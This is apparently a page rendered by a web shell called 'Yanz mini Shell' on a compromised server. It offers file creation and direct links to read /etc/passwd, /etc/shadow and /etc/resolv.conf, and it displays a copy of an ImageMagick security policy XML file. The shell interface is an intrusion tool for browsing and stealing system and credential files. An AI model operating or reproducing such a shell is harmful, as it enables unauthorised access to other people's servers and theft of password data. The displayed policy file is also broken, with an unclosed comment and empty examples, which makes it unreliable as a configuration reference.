Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policymap [
  <!ELEMENT policymap (policy)*>
  <!ATTLIST policymap xmlns CDATA #FIXED "">

<!ELEMENT policy EMPTY>
  <!ATTLIST policy
    xmlns   CDATA   #FIXED ""
    domain  NMTOKEN #REQUIRED
    name    NMTOKEN #IMPLIED
    pattern CDATA   #IMPLIED
    rights  NMTOKEN #IMPLIED
    stealth NMTOKEN #IMPLIED
    value   CDATA   #IMPLIED
  >
]>

<!--
  ImageMagick Security Policy Configuration
  ========================================

This file provides the default "open" ImageMagick security policy along with
  numerous optional hardening examples. The default configuration permits broad
  functionality and is appropriate only for trusted environments such as
  systems protected by firewalls, isolated containers, or tightly controlled
  internal workloads.

For untrusted input or multi-tenant environments, review and customize this
  policy to match your security requirements.

Additional documentation:
    https://imagemagick.org/script/security-policy.php

Security policy validator:
    https://imagemagick-secevaluator.doyensec.com/

Important:
    * Security policies should be reviewed for your specific deployment.
    * Test all policy changes to confirm they behave as expected.
    * Rules are processed in order.
    * Policy names, domains, and patterns are case-sensitive.

Domains:
    system, resource, cache, delegate, filter, module, path, and coder

Rights:
    none, read, write, execute, all

Multiple rights may be combined:
    rights="read|write"

Patterns use ImageMagick glob matching.

Example: disable all video modules

Example: disable HTTP image reads

Example: permit read-only access to a repository

Example: disable all image filters

Example: restrict processing to common web-safe formats

<policy domain="Undefined" rights="none"/>

<!--
    Disable reading of higher-risk formats while still permitting writes.

Common candidates include:
      MSL, MVG, PDF, PS, SVG, TXT, URL, and XPS

Review carefully before enabling.
  -->

</policymap>